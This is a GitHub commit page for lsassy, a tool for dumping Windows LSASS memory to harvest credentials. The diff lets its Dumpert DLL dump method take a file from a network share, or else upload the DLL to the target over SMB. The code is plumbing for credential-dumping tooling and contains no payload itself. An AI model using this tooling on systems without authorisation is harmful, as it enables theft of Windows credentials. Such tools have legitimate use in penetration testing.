Skip to content

Commit

Permalink
Add dumpertdll from share
Browse files Browse the repository at this point in the history
  • Loading branch information
Hackndo committed Oct 12, 2021
1 parent 0a11480 commit 82c519a
Showing 1 changed file with 19 additions and 14 deletions.
33 changes: 19 additions & 14 deletions lsassy/dumpmethod/dumpertdll.py
Expand Up @@ -32,21 +32,26 @@ def prepare(self, options):
logging.error("Missing dumpertdll_path")
return None

if not os.path.exists(self.dumpertdll_path):
logging.error("{} does not exist.".format(self.dumpertdll_path))
return None

# Upload dumpertdll
logging.debug('Copy {} to {}'.format(self.dumpertdll_path, self.dumpertdll_remote_path))
with open(self.dumpertdll_path, 'rb') as p:
try:
self._session.smb_session.putFile(self.dumpertdll_remote_share, self.dumpertdll_remote_path + self.dumpertdll, p.read)
logging.success("dumpertdll successfully uploaded")
self.dumpertdll_uploaded = True
return True
except Exception as e:
logging.error("dumpertdll upload error", exc_info=True)
if self.dumpertdll_path.startswith('\\\\'):
# Share providen
self.dumpertdll_remote_path = self.dumpertdll_path
self.dumpertdll = ""
return True
else:
if not os.path.exists(self.dumpertdll_path):
logging.error("{} does not exist.".format(self.dumpertdll_path))
return None
# Upload dumpertdll
logging.debug('Copy {} to {}'.format(self.dumpertdll_path, self.dumpertdll_remote_path))
with open(self.dumpertdll_path, 'rb') as p:
try:
self._session.smb_session.putFile(self.dumpertdll_remote_share, self.dumpertdll_remote_path + self.dumpertdll, p.read)
logging.success("dumpertdll successfully uploaded")
self.dumpertdll_uploaded = True
return True
except Exception as e:
logging.error("dumpertdll upload error", exc_info=True)
return None

def clean(self):
if self.dumpertdll_uploaded:
Expand Down

0 comments on commit 82c519a

Please sign in to comment.